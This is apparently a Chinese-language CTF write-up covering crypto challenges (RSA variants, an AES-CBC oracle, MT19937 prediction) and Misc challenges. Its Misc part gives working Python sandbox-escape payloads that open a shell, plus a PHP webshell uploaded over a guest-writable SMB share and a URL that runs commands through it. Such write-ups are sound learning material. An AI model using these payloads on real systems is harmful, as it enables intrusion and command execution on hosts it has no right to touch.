8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from random import randrange

flag = open('flag.txt', 'r').read().strip().encode()

p = getPrime(16)
r = [randrange(1, p) for _ in range(5)]

print(f'p = {p}')

# You have 5 unknown random numbers
# But you can only get 4 hashes
# It is impossible to recover the flag, right?
for i in range(4):
h = flag[i]
for j in range(5):
h = (h + (j+1) * r[j]) % p
r[j] = h
print(f"hash[{i}] = {h}")

key = 0
for rr in r:
key += rr
key *= 2**16

key = pad(long_to_bytes(key), 16)
aes = AES.new(key, AES.MODE_ECB)
ciphertext = aes.encrypt(pad(flag, AES.block_size))
print(f"ciphertext = {ciphertext}")

這題 flag[0:4] == b'TSC{' 已知,所以只有 的五個未知數,然後 h_i 顯然都是 linear combination of ,所以就有個 上的 underdetermined linear system,正好會有 個解。由於 只有 16 bits 所以直接全部嘗試就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.number import getPrime, long_to_bytes
from lll_cvp import polynomials_to_matrix
from Crypto.Util.Padding import pad

p = 42899
hashes = [1934, 22627, 36616, 21343]
ciphertext = b"z\xa5\xa5\x1d\xe5\xd2I\xb1\x15\xec\x95\x8b^\xb6:r=\xe3h\x06-\xe9\x01\xda\xc03\xa4\xf6\xa8_\x8c\x12!MZP\x17O\xee\xa3\x0f\x05\x0b\xea7cnP"

F = GF(p)

r = list(polygens(F, "r", 5))
flag = b"TSC{"


eqs = []
for i in range(4):
h = flag[i]
for j in range(5):
h = h + (j + 1) * r[j]
r[j] = h
print(f"hash[{i}] = {h}")
eqs.append(h - hashes[i])
M, monos = polynomials_to_matrix(eqs)
assert monos[-1] == 1
A = M[:, :-1]
b = vector(-M[:, -1])

rk = A.right_kernel_matrix()[0]
s0 = A.solve_right(b)
for t in range(p):
s = s0 + t * rk
assert all([e(*s) == 0 for e in eqs])
key = 0
for rr in [f(*s) for f in r]:
key += int(rr)
key *= 2**16
key = pad(long_to_bytes(key), 16)
aes = AES.new(key, AES.MODE_ECB)
flag = aes.decrypt(ciphertext)
if b"TSC{" in flag:
print(flag)
break
# TSC{d0_4_L1feTim3_0f_crypTogr4phy_w1th_yOu}

AES Encryption Oracle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
import os

def aes_cbc_encrypt(msg: bytes, key: bytes) -> bytes:
"""
Encrypts a message using AES in CBC mode.

Parameters:
msg (bytes): The plaintext message to encrypt.
key (bytes): The encryption key (must be 16, 24, or 32 bytes long).

Returns:
bytes: The initialization vector (IV) concatenated with the encrypted ciphertext.
"""
if len(key) not in {16, 24, 32}:
raise ValueError("Key must be 16, 24, or 32 bytes long.")

# Generate a random Initialization Vector (IV)
iv = os.urandom(16)

# Pad the message to be a multiple of the block size (16 bytes for AES)
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_msg = padder.update(msg) + padder.finalize()

# Create the AES cipher in CBC mode
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()

# Encrypt the padded message
ciphertext = encryptor.update(padded_msg) + encryptor.finalize()

# Return IV concatenated with ciphertext
return iv + ciphertext


def aes_cbc_decrypt(encrypted_msg: bytes, key: bytes) -> bytes:
"""
Decrypts a message encrypted using AES in CBC mode.

Parameters:
encrypted_msg (bytes): The encrypted message (IV + ciphertext).
key (bytes): The decryption key (must be 16, 24, or 32 bytes long).

Returns:
bytes: The original plaintext message.
"""
if len(key) not in {16, 24, 32}:
raise ValueError("Key must be 16, 24, or 32 bytes long.")

# Extract the IV (first 16 bytes) and ciphertext (remaining bytes)
iv = encrypted_msg[:16]
ciphertext = encrypted_msg[16:]

# Create the AES cipher in CBC mode
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()

# Decrypt the ciphertext
padded_msg = decryptor.update(ciphertext) + decryptor.finalize()

# Remove padding from the decrypted message
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
msg = unpadder.update(padded_msg) + unpadder.finalize()

return msg


def main():
with open("/home/kon/image-small.jpeg", "rb") as f:
image = f.read()

key = os.urandom(16)
encrypted_image = aes_cbc_encrypt(image, key)

k0n = int(input("What do you want to know? "))
print(f'{key = }')
print(f'{encrypted_image[k0n:k0n+32] = }')

if __name__ == "__main__":
main()

這題給你個 oracle 用 AES-CBC 加密 flag 圖片,然後可以選任兩個 block 回傳和 key,所以只要拿前面的 block 當 iv 然後拿後面的 block 當 ciphertext 就可以解出一個 block 的 plaintext 了。

寫個 script recover jpeg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import ast
from Crypto.Cipher import AES

context.log_level = "error"


def oracle(i):
io = remote("172.31.2.2", 36363)
io.sendline(str(i).encode())
io.recvuntil(b"key = ")
key = ast.literal_eval(io.recvlineS())
io.recvuntil(b"encrypted_image[k0n:k0n+32] = ")
enc = ast.literal_eval(io.recvlineS())
io.close()
return key, enc


def get_pt_block(i):
key, enc = oracle(i * 16)
if not enc:
return None
aes = AES.new(key, AES.MODE_CBC, enc[:16])
return aes.decrypt(enc[16:])


with open("pt.jpg", "wb") as f:
i = 0
while True:
print(i)
pt_block = get_pt_block(i)
if not pt_block:
break
f.write(pt_block)
i += 1
Recovered flag image

Flag: TSC{f0x_Say_Gering-dingKon-kon-kon}

Random Strange Algorithm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import secrets
import os
from Crypto.Util.number import bytes_to_long, isPrime


def genPrime():
while True:
x = secrets.randbelow(1000000)
if isPrime(2**x - 1):
return x


p = genPrime()
q = genPrime()

M = (1 << p + q) - 1
flag = os.getenv("FLAG") or "FLAG{test_flag}"
flag = bytes_to_long(flag.encode())
e = 65537


def weird(x, e, p, q, M):
res = 1
strange = lambda x, y: x + (y << p) + (y << q) - y
for b in reversed(bin(e)[2:]):
if b == "1":
res = res * x
res = strange(res & M, res >> (p + q))
res = strange(res & M, res >> (p + q))
res = strange(res & M, res >> (p + q))
x = x * x
x = strange(x & M, x >> (p + q))
x = strange(x & M, x >> (p + q))
x = strange(x & M, x >> (p + q))
return res


ct = weird(flag, e, p, q, M)

print(f"Cipher: {hex(ct)}")

weird 不知道是用什麼奇怪算法在算 RSA,不過 都是 mersenne prime,然後我又猜 flag 不長所以直接 enumerate 範圍內的所有 merseene prime 就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import itertools, gmpy2
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm

ct = 0x27225c567dfd854ba84614f9e8266db9f326af279aa18afbdb1f601a097ddbf5a203c836d4d0430c59f6d6be6ccfe7f4deca9a4011bc514d92e1aaa1c792cd24127a24b205a2c0a28af24edee1692d04a23aa8653581fe8e3c922878aaeb1c1f495cf08c129bae8ec039d1dc8c39564bdfdcefee42c42f5843c63aeff373613cc133076356241a9b06e45c367b84083e0edf21608f08f5d50563502438746355c1fe7c2f5a470b6857aabc04cc1f6b136e1f79bc2c41419b13ff845d485d380e2b110c2bd2e873e2c07d75d3e9cf1cd6b5634c67e98f11fe7a269e10af713dbb4f587443a630fe1dea2f406793213ce117828b0572dc4d3f06dcce3722bef0d0e8c2aced34d353e9ffe3d0f75a3e0ac195e73888d601c4dde936a573c28aaf6750ea0ad53fdc715c4df547279fdaeb68251ba4bb68f4aa7c0b49241e3e6fc58daae1c4dceb7ba0ef06d3fdec2bfa432ea1a5299d3dd104dd05b10be33303a5fea87cb6fc5d2f0e7daafe1b8f5c50066da68318b510bfd93e2abbadfc86b258bd82f2f53396abfc92a2f71dfd88bfd23b31013844d744d9788bbeb3cb425acfad0f6e868ed84a3152f82cbfc2f8386f059091cab29b9e64cbcc7d9ae672d1801b2dd4521253cffc4a21d476d00c8ac08495118df4ebff044f99e0ee8a56bcb43b3975d7794ff022850031fc0ab7a0b7cc1fe9894a739a7928eb7736910c748548ded36772dc2c6e81fd863af09473ec9e74b12bdddc9141bf46d226c67ce8efc9b02bc7ca3f067336032a7fafe93430fc2006cef8745864868430bcedee25244ba05621e7c2a72cdf524455f650766bc42d15662948ea9d5176c0796a0651a8faeff0ff276c7f65fc1784adeffc03899469192b691db929666509541cc770c487eef20195e704ff63bf1a6c18f20a0a19599cc54113223de37860c2cffbdfb7357da87b28f7bf8b416071196c354331138eb47aa11910c9756c5affa80b97111dddb6d147fe0c30bbfa2ee86cbb36129eef5e543f150023070cf650151e38bbee3a05963ff1cf26a2d42731b6c4487bad5e67eda74b3e9110f4e7df74e5e2819ef80b7f70b33ac3060ca18176e9f48e95d333c4fe5c2ae355a9661de75494fda5ef2d93d4404cf906969fe3ba7f589b263e61cc538986206cdd4177b7898ff5a016c2baccb5d00d78fdc462beaf989bfedbbc70ccaf85489cd1352ff32d0e213bb9cb23e7840eccd020e34ba441a40df86ea128e9f0215b32ab90dd9756afe87f40758676fff71c517895cd3b0f6f35a6f675634dfb1994945105b0276e9b0bbaf15d49824ad20c9865a4608ab0ea3093a32b7e40131010e25f9a939620a6ea43000fb2cd0a75eefd1e01da402f11bde242cb794c135a94db04123b2f874b9eda525f9c1932250084b4b4f096595d4f829691df2908ec625a16695e111083dd4d13665bc8baedaf159100b5c3bb6b9d2450471f5006a99165745c825c4a44b1c1de75a7fa23fca0183d59c3150c8aa6bd787aafcb40d17b053ef8ff7dd9fd1c03e9a60e2d0418bec88773fdd9ff3917f584496cebedaca5ab6c674c7a294bebba764b681c333559acf97bef89290a66cf7249cac824cc43558cf777fe1283d134159747e174a2c6c65a8f4c1ec6ae656465ee52ddab9d56e0b30bf29157ef86b72c3fb836a10df8f0c98fb2cbd7debecb98172eab7475491b7b6aa8fcf1d89f1275bbe5226897d42ea5913d8634ac1a2a5a8211ae3a0627ff53f423dc789e2323a2ef0f9b90f47370a8ef86664dfdb08ae01e3a2c3ea68a5b12cc197207b5c6df451d6e109ac00082b4be5295819b3341429b32653b2cd2d5547dfcb4970c3caa687a1ec2bf50d4db5b2cc2967fb7b3fb47eaa84094b6a73b29162baddd07f045de495006f714b9538bfafab29ba9705b8d5ccb3458ebaaf87078e8b16bb2390b0cedc3a65a08122d6834758d8053e519b479a4b4818fd3d6f9dd52e9e7f1ece3237f58d07399d44692c08e2c50c8632a40592a148492a0c475cb33579b48b6fbe5441fde23ed89b0686f69cced80bed326cda230de3a1c8777422038662cd052bf7f8bd021b8e4f885941957bcfc32d3c9da028068c30c5b19c3cffa9a1a044cd23d01cab79c149e3ac0d77ce6694a41cd0b404be056ad35cc31cf4051d6d855e73ddc4c0aeef5c6075af182e3f05503f73ea25874f430d3a13ee2b291be56a510aa8a6505868c7467f1a43a0b84817c841f1ff7a8af8872cc977f55f7add6d8411fa35f93edd13a9eabb688762e74be5a98e02806248f8be03c72ff4d1074f06ef2e77b9159b6db5db8158212d614c8a024ff51871fd152f53b1998dddd07f65eaeea5f3ab6bbc33dce92179a4e140d7ebf0b06c412ee8b2636d90dd003721bd54c0d20bc5b071cce0a970625a28b0bf4aaf09c57fdb40bdeae24e3e20c5d0bfa0ab64fc627c6c633f93252460b8d8edcbfd6fd43a45dd1e3adc11733232686358dca0db03b23df9bde2d359695ab3e6af5ebe881c25ae5bc2be2a392551bc0f9a9c50e4b9306631f668c95479a11d267984e3cd407701d4d9b7c077804663b6b68e10030915023da5414df1905ce1e4b0ba7c4f677bcbdc89e778e7927ff4aa2a7699cc7447f433e4ba4072627f5e955735e6650cade1676410b2001cccd2d4146e0ee0671dbee364d34c4224d886e8704062c96e56f6e1e463f2f60a6267ee7e45d387b705beb765ee62898a52e6d9190f9079a2cc2c823c6a97a38750337fcb9c3b682ea60e0250c8f733ae1cd11de95a219cabe9db8e27db6ffc1af616ed7b8f27e8e748c5620291a9a850f24057fc1e0dbe6b6db49257c1c57cebed13ace5196af892ccc2b09b76f54048390bd5d06387ebddaefb2dca8b94c9d663cf2a6f4480c14f932c08667be1b7210181c4c8df0f1cea710cdb567fb2b1e126141bd1616436044f8722f81f7fe45ac67386ed806c471b782b6c288334b896803779e4b50a7280fec70e84c39303764b30f8d98d178968eae949192e1cdbbd378b186211cfd15d6e68cf9a85ea3873451d3f26ffce9d2f76e23cfca012687e17c78e214f22163f2a0b94ac7b3067b232ee7d6ab57e6991b668ad84d6602b5838a15566b5a407eea66ebd106a2fb67a367753e0bab7ffdc234a00c8ab0540f38379daa09f47c22cd3c96f2d3a13d17ddf2970aaec4f65029896fa549ba832f8bebebd2c00d895a568be4b8d093089fb0f5e9f9a4d37a7ed5ace03268b236d33ae36b8168633de6178de56a1053df6a9b1d902df020ecaed6612aba8dd03dee1ea0a00467f9dcb98cfbc742e352d6315dc479216f08765b7341a085ac313c2b8856d22cd822ba6fd1a62519ae1cfec489e678e0440a1aeacbcb917aed893c0255618569ba9c03e627d0ce7ecd33ce64e26b9ff4ed9fc3f6f87dc105f4962373d86f155b64273b4a14cad88bc07265b78ba3b8e87b7b5dde2d39349658a295295c253495004a9a6c7d8ec46414f6c74bff4179784ad19dac1f5897bb56c1716f7cc238024d1243399329843cc8cbc1ec15dc69f089c43f3c6545cd35d1d176c3bbc5c6ea5475fcc9b7411d96febbb4fef67124897a4ab311ec2f32ae590065f3e4f76b716479d9506e6a03a151ba6258e31eda4feee96d3e255c74c874e197de71156ad5b1df35ce20a60033714689bd409b1b35aafa3b3cda73d7524321c7562f7dad33e22cc9ea6cea4d3933a9ef1924ff0add9a441647bbeaa8a13e680281956abba2231ad39778c3bb92cea57b93ec063b676fc8d0ce898a1856449c1b1b16d7973ba40c5aa52edb1dc7e2332fcf61217cd02e31b0c5c787089771acb3e8c2b7715911e09cd9183e803d80c9873074026c3e4ecfe11600b2e507e159a56e0394f1b42618aaf7363523a4c8b53c497fecdc65d167bdb2c4f79ee393387e364954debe37f1a933b964af9ac3e3227a77a167f3491e61eb43a67bb7a13c6b113ebeb0784dd5e70422ca27eebc2e703fc2c7996375c9b4d4f3aa44b6ab4f8e08f6cc8263e0229a12582f2c2301d1650d2a2f1146f87a59a34178b54a58fd46ca725267bb2f4a19fbac7b53b6f6aa1d70bb46674b5879d6ed81f40f01c62634d1ba6dee627d75e4f1333e2805e00f142860193e278ec1d676cc25c3ae91237ab9209b26a304b2e65b7bb6a68fbc300d8114f14adafe8cff69d554de4d8ba4e321f94b3d90bf9feeeeadd1bbdffde39c7036c70ffc340b0f9f8d819e925ecac8feca4a6c4aa9918477e742a0d104c0972ef02082fa9365d49654b29306c131d36eccb0e393f186553e08217f69a6191b1d4017ab431e45cbb8a4511e4cd6fa183c6f7e5612bfe8c3ae2b10e97c530ae172ebcb201585b05c1aedbed2daea99026596486063b620db4a75a72ece20683abb3e53d2a067785e8fa396d0f02233bd8221d1e7620af36a5e9c98d4e3f4eaef09794dde1ecea87dd531f276da98a3112665ced8610937f1b8d6cf0dde32de980fe1ee43bf856f3fc8b34035f5345d80b2c123a4ea7b24da20a065a08e9be1b5808b18727b689cd376d620d28566e9d7f7507e1b7705bd0fccd631891f297ff44990c2b1c697e9582531025e7556824e89db58672e0bf91fe7aad4e5d6d733cace0d92a5089fff9c6e7a4a56c857934143e6296950a0dc3e3a4cfcb479c4c2f18d52d1a67aa260f421a5f657b371faffada38099edbf07b7799e2424ae24a9ad2b76bb5e75453b5b3c4270f0be1448d3fda6660d77ec8e569d6c21f532d8871b9e5d60ac6a1b80b688c6efe12678e8cedd7b3ef19658ccf13f554c92fbd37d3773e57d8fd79c9f21783495a9d534efdd8f99a6d27ea40d76d032bc8f999ece9a55f292fb80111d526d1a0a8b33f4e35ea820cd4dfc8a526ead8baad66f5b2d86404de48d97a8a4d6b7f50eccc1350a60a23a4f3d479473ed1825f373b78003080af07f99ac6ead34124a5d43cef23c2e548779993c73c7cd5e89624dfa3952251b8e86eb9d4bce88244c60b0b0765379054f532fddff5e6a4da75d38ab7f67f8bede89c812259f948e4371d82e2b838e62250475e7986e97ad9706d84a57560934d9cd566cc5fba0f4f7037554ad926e68f178323881f33aba7a6811a03f3f507b6494428f3428927bd120b73298b2f5cad421985b0af070b9fae7037ea3cef1885d3846ba8cd09cd9f43070096a249796bcdd21ca55c76816ead0692e0587d96f831f343dde19117083509e0d4f5b296674dcc0e17b669f7c2ab4b0a609d6cbed8073d1aec3ef2cee0aad9c055d54ac11d58c01ab27956b3bbd667f5bb52dc96b647fc9ee2dc47ae8e5bab66d1bbf66d21926e063a90d7438e501113e78e9506c20c0dcc517189d5f54a6b4d53bff8173adbb3c2c4017e440f05517fa56c424d03b2e8dd81537a714cb53c3ec1c8237344d3ce8a0e8f81cb5693908f0cf63001cb0f2218a53b9be92f4c1aed51ba9a224523ae765a71ad3ba687594496ec72887a8f3a6f6338fab6c14ed6c139d687f5de68f99a2b4b425774abe7ad24995d775b8ac11efbc6ef0b38f6377c969ed6e63919f510c5444347155903c72be2f82de608b3abaec12a084c7a3cf06b6be7bef4478c723b90c5b652b1a87b206a2f1405a89471a4b9a073f3204a158e20a5e3dc6c4f433360927dce3b58ca65b3c42d18bf860a977ffc469cca122c8dfd338cdaffa4d796e4ee0314f581b0683763d6b9c0cf6498fad28fd4506258023553ef4d66f7e389014ca9a0e38627910a816cd51c95ff5a269080cc08ff96fd035efd2a0c192d58e09bc3d864c165c90da82bd2e61617132b9f62861c176d11a56d335589c534cdfc7312de0da2b845a863e35293eb60341328df60fcb9927115e7f24e6fe0a2bef5bbbaf560b13d58c93a3878bc99d44b5e748692b231ad3c84187776e29905979a7470424b1df92ea82374efad63da2a1c41aaf4c1e446416eaac450f659ce12012d7a22f3c8d97848356ded7504b448a9595683f2be12fd23c4fbdaaded9a3207031077272f64428e9e202d03a2083c7e68807ac9eda25130deb4347a8c2ae36a211a8324218da4276c1b5566b0bb7bd70ccfb580bce3ee108915bc1b21ad49de03875bd0346752e8a1c6788fd829a74abf7b01a3329f9bd7a2535c312f5a48b20623646e1078b6d4f5df9c0cc0bc06d41deb208b31cbe4b49e8dcf697bc7439d00a0c87bb64be44115b440d6b0fcf38e024bc332290b4ca33d1fa097799cae6cbf297b68a87ff8ba687ef4a5dbb25e02e7f95ea2bfb34db25ccb38df96f1bb32372ff00e5f3d78c0ce5a1bde27d2af89bb11efdf4b1b11feaf8c36b3373c0867b3fecbe58150a88758873ae4ecd3df4da6549732245da3cebd152a3dbef070aacd7f0c760fc797c253f9375edee15ec7f783059818df5ec0632c10e50f8dce4fbd4ddcff61c9601a88925db83dfe1b6a4bbdf76506828a1ece4ee99c1e356b686b880aaaf1f789d0b8e1a5ef69b7c12d57161bbab80219d270ab65ce6b1d29bcc24a6bedc18ac73783a2271560ec5193b20979c2168a0da1da6a30d9f7190973ac11906de52f80db4d40b5a86c1084ad17115718b7c9327dcd1aaf266df16f0f232ed926b2d7f139c37ad527a01ef38bcb3dfae204ebafda14ecac741ef1769c2f02189c2c474cb3b9f79884a767baad126a5a14c99e2fc6a1f1c0d3c1598f5670ce19aa0d01c6a7302d4e66d28315139f9b20f474ae1a39b93bb18a479733db8bf9dd737f8a09d4146ad89850342445eee2ca3141a672047814e42b7b9bd7798d6d8d82adba9d696dce955e61815520618a1ec70a9264acd244a5d8f5170f3a0ece58351737c31a617d3e646916e503cd7b20c6decafe3a8532f6bde5e89b7b8314a73dcf9c75090331d7f56820637c2d9ace9a75d8cef4a5f45049a8d17ecddd1c1e7f2683588cf834e82044e38e571ef786c9b1ff1ab9dd40644784f2820a42a9c1ecbe155d54557bd34c2c8245fe9f6187fa97c46929dffcf2b0d49679a51a2cd069879174b7d1556c83e2aaecf0e9a7fa52af3b3f0d6dbe95474da464c065db054521f17e0cf676060acb4c64fb7f9d42ad518a27ebcbdeb9e1183ac02c182e19fe98948be6ca6b44b8936294234c0c795bebf6726bb9f6d71029b7226a7f2d920d7c6d5bad845dbd7126be045ff9f2553f617591e0aad0979e2194b4ca5d0624cbe141c4a3e36d218f58ad3675412d29917ea1e91ee05b7a52267534b2386ecfa2f9634214ae42511dadd68f75422fd87d99309f38ecb97ece0ea084d5f11c15b6059a5c161881bf421a143a8e400bb41b9c42af3943cc3308523717d2684e605c19f4f61b02b1d437f8ea2ff31c478b820c503a847c07ec5a11f84ebddb13976db04fef81ad11c1917ac48ba5dfec46f7e5ccd1743b56d837acbe81dd60fdd8e65e6d7bffa03aeb6b4c5af715dcbe48dfa54f5802627f05736521096b6755103aac95d1dbe803eb15e200180e557d5238e9a5d06a2f9d1573bc4d302739050c2da989309fa060bf31f233d118fe4673491af97c6504774db6b08d5772f718460f99b2b2fcd0b455ca4d119a42a982d22e1d0931736d26740b8bd0930d0b673300b8d602fa230ebbb56a599aaf341382072d843fb8850ba41b18ce628687388f32e896fbb01387ded3099aa1f567093f69dcd08d5822ed345453efab20c3a5ba059c19fd3c8c660776ca1ab858433e83ddd6fccca3df9ee20d1634b60a284f7497bd40f58eb2f58ffb4530cc3ad9024132ca7f45f69426f1e1cba8b8a811cf8971c94352ee445d1e37e4157b406864de23e44c2698e6be5737bc4e8dafa303e8c4b6b800fbed343b9a8867633040c0ab8c80e5ab12e22966e4125e760dfcd34d217a4703d6743d24ce97469b120d57cb3e9b19100f90dd794ccb9ee86feec5a48b08de98799d99f9e
exps = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433]
ps = [gmpy2.mpz(2)**e-1 for e in exps]
e = 65537

for p in tqdm(ps):
try:
d = gmpy2.invert(e, p-1)
except ZeroDivisionError:
continue
m = gmpy2.powmod(ct, d, p)
flag = long_to_bytes(m)
if flag.startswith(b"TSC{"):
print(flag)
break
# TSC{9y7hOn_p0vv3r_ls_700_5Io0o0o0o0o0o0o0o0o0o0w}

Random Shuffle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import random
import os

flag = os.getenv("FLAG") or "FLAG{test_flag}"


def main():
random.seed(os.urandom(32))
Hint = b"".join(
[
(random.getrandbits(32) & 0x44417A9F).to_bytes(4, byteorder="big")
for i in range(2000)
]
)
Secret = random.randbytes(len(flag))
print(Secret.hex(), file=__import__("sys").stderr)
Encrypted = [(ord(x) ^ y) for x, y in zip(flag, Secret)]
random.shuffle(Encrypted)

print(f"Hint: {Hint.hex()}")
print(f"Encrypted flag: {bytes(Encrypted).hex()}")


if __name__ == "__main__":
main()

很直接的 MT19937 預測題目,這邊用我自己寫的 gf2bv library 解就能秒殺了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from gf2bv import LinearSystem
from gf2bv.crypto.mt import MT19937

with open("flag") as f:
hint = bytes.fromhex(f.readline().split(": ")[1])
enc = bytes.fromhex(f.readline().split(": ")[1])

chunks = [int.from_bytes(hint[i : i + 4], "big") for i in range(0, len(hint), 4)]

lin = LinearSystem([32] * 624)
mt = lin.gens()
rng = MT19937(mt)
zeros = []
for x in chunks:
zeros.append((rng.getrandbits(32) & 0x44417A9F) ^ x)
sol = lin.solve_one(zeros)
rand = MT19937(sol).to_python_random()
for x in chunks:
assert rand.getrandbits(32) & 0x44417A9F == x
secret = rand.randbytes(len(enc))
shuffle = list(range(len(enc)))
rand.shuffle(shuffle)
enc_unshuffle = [0] * len(enc)
for i, j in enumerate(shuffle):
enc_unshuffle[j] = enc[i]
flag = bytes([x ^ y for x, y in zip(enc_unshuffle, secret)])
print(flag)
# TSC{H0w_c4n_y0u_8r54k_my_5huff15}

Random Strangeeeeee Algorithm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import os
import random
import sys
from Crypto.Util.number import getRandomNBitInteger, bytes_to_long
from gmpy2 import is_prime
from secret import FLAG


def get_prime(nbits: int):
if nbits < 2:
raise ValueError("'nbits' must be larger than 1.")

while True:
num = getRandomNBitInteger(nbits) | 1
if is_prime(num):
return num


def pad(msg: bytes, nbytes: int):
if nbytes < (len(msg) + 1):
raise ValueError("'nbytes' must be larger than 'len(msg) + 1'.")

return msg + b'\0' + os.urandom(nbytes - len(msg) - 1)


def main():
for cnt in range(4096):
nbits_0 = 1000 + random.randint(1, 256)
nbits_1 = 612 + random.randint(1, 256)

p, q, r = get_prime(nbits_0), get_prime(nbits_0), get_prime(nbits_0)
n = p * q * r
d = get_prime(nbits_1)
e = pow(d, -1, (p - 1) * (q - 1) * (r - 1))

m = bytes_to_long(pad(FLAG, (n.bit_length() - 1) // 8))
c = pow(m, e, n)

print(f'{n, e = }')
print(f'{c = }')
msg = input('Do you want to refresh [Y/N] > ')
if msg != 'Y':
break


if __name__ == '__main__':
try:
main()
except Exception:
sys.exit()
except KeyboardInterrupt:
sys.exit()

顯然這題是個類似 wiener attack 的題目,差別只在 是三個 prime。

我的方法是參考 LLL 版的 wiener attack 弄的 (Cryptanalysis of RSA and Its Variants 5.1.2.1):

此處因為 ,所以 ,然後 的三個高次項是 兩兩相乘,所以

然後構造以下 lattice:

的 short vector,所以就能獲得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from sage.all import *
from pwn import process, remote
import ast
from Crypto.Util.number import long_to_bytes

# io = process(["python", "server.py"])
io = remote("172.31.2.2", 36901)
for i in range(4096):
print("try", i)
io.recvuntil(b"n, e = ")
n, e = ast.literal_eval(io.recvlineS().strip())
io.recvuntil(b"c = ")
c = int(io.recvline().strip())
K = ZZ(n).nth_root(3, truncate_mode=True)[0] ** 2 * 3
_, dK = matrix([[e, K], [n, 0]]).LLL()[0]
d = abs(dK) // K
print(d.bit_length())
m = pow(c, d, n)
flag = long_to_bytes(m)
if flag.startswith(b"TSC{"):
print(flag)
break
io.sendline(b"Y")
# TSC{R3c4lcU1at3_W1eNe(_At7@Ck_!!!}

實際上因為 nbits_0nbits_1 都是隨機的關係所以要碰點運氣。

不過這題應該也有 coppersmith 版的解法可以拿到更好的 bound。

Misc

BabyJail

pyjail @ Python 3.12.7

1
2
3
#!/usr/local/bin/python3

print(eval(input('> '), {"__builtins__": {}}, {}))

因為我是先解完後面的 revenge 才回來解這題的,所以只小改了一下我後面用 frame 的解法:

1
2
(lambda:[a:=(lambda:(yield a.gi_frame.f_back.f_back.f_back.f_builtins)),a:=a(),b:=a.send(None),b['exec']('breakpoint()',{'__builtins__':b})])()
# TSC{just_a_classic_nobuiltins_pyjail_for_baby}

calc

1
2
3
4
5
6
7
8
9
10
11
#!/usr/local/bin/python3

inp = input('> ')

if sum(1 for char in inp if char in set(__import__('string').ascii_letters)):
raise NameError("just calc no evil(ascii).")

if '[' in inp or ']' in inp:
raise NameError("just calc no evil([]).")

print(eval(inp, {"__builtins__": {}}, {}))

這邊直接用 NFKC normalization 就能繞過不能有 ascii letter 的限制,然後弄標準的 os.system('sh') 就能拿到 shell 了,字串內用 octal escape 即可達成。

1
2
(*().__class__.__base__.__subclasses__().__getitem__(155).close.__globals__.values(),1).__getitem__(46)('\163\150')
# TSC{PEP-3131_is_a_friendly_PEP_for_pyjai1er_nhsdcuhq6}

A_BIG_BUG

PT 題,直接告訴你有一個 http & smb 服務。http 部分用 dirsearch 掃有找到 /uploads,不過裡面只有個 README.md 沒用。

smb 部分我用 netexec 發現有 guest login,且有 uploads share 的 RW 權限:

1
2
3
4
5
6
7
8
> netexec smb 172.31.0.2 --port 30185 -u ctfuser -p '' --shares
SMB 172.31.0.2 30185 7887ADAF97CB [*] Unix - Samba (name:7887ADAF97CB) (domain:7887ADAF97CB) (signing:False) (SMBv1:False)
SMB 172.31.0.2 30185 7887ADAF97CB [+] 7887ADAF97CB\ctfuser: (Guest)
SMB 172.31.0.2 30185 7887ADAF97CB [*] Enumerated shares
SMB 172.31.0.2 30185 7887ADAF97CB Share Permissions Remark
SMB 172.31.0.2 30185 7887ADAF97CB ----- ----------- ------
SMB 172.31.0.2 30185 7887ADAF97CB uploads READ,WRITE
SMB 172.31.0.2 30185 7887ADAF97CB IPC$ IPC Service (Samba 4.15.13-Ubuntu)

所以用 smb 上傳個 webshell 即可:

1
2
> smbclient //172.31.0.2/uploads --port 30189 --no-pass --user ctfuser
put shell.php
1
2
<?php
system($_GET['cmd']);

最後在 /tmp/flag.txt 拿到 flag。

1
http://172.31.0.2:30188/uploads/shell.php?cmd=cat%20/tmp/flag.txt

Flag: TSC{YOU_got_What_is_pt_and_low_security_password_f1bc61bf51b44ac5a0365169dee186ca}

BabyJail - Revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/local/bin/python3

inp = __import__("unicodedata").normalize("NFKC", input("> "))
if "__" in inp:
raise NameError("no dunder")

if ',' in inp:
raise NameError("no ,")

if sum(1 for c in inp if c == '(') > 2:
raise NameError("no (")

print(eval(inp, {"__builtins__": {}}, None))

